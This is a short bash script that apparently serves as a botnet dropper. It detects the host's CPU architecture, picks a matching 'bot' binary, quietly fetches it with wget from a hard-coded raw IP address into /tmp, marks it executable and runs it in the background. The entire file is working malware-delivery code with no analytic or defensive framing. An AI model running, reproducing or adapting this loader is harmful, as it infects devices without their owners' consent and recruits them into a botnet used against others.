#!/bin/bash
# run.sh – detect arch and download correct bot
ARCH=$(uname -m)
if [[ "$ARCH" == "aarch64" ]] || [[ "$ARCH" == "arm64" ]]; then
    BOT="bot_arch64"
elif [[ "$ARCH" == "armv7l" ]]; then
    BOT="bot_arm7"
elif [[ "$ARCH" == "armv6l" ]] || [[ "$ARCH" == "armv5l" ]]; then
    BOT="bot_arm32"
elif [[ "$ARCH" == "x86_64" ]]; then
    BOT="bot_64"
elif [[ "$ARCH" == "mips" ]]; then
    BOT="mips"
elif [[ "$ARCH" == "mipsel" ]]; then
    BOT="mipsel"
else
    BOT="bot_arm7"   # fallback
fi
URL="http://94.156.152.234/$BOT"
wget -q -O /tmp/bot $URL && chmod +x /tmp/bot && /tmp/bot &
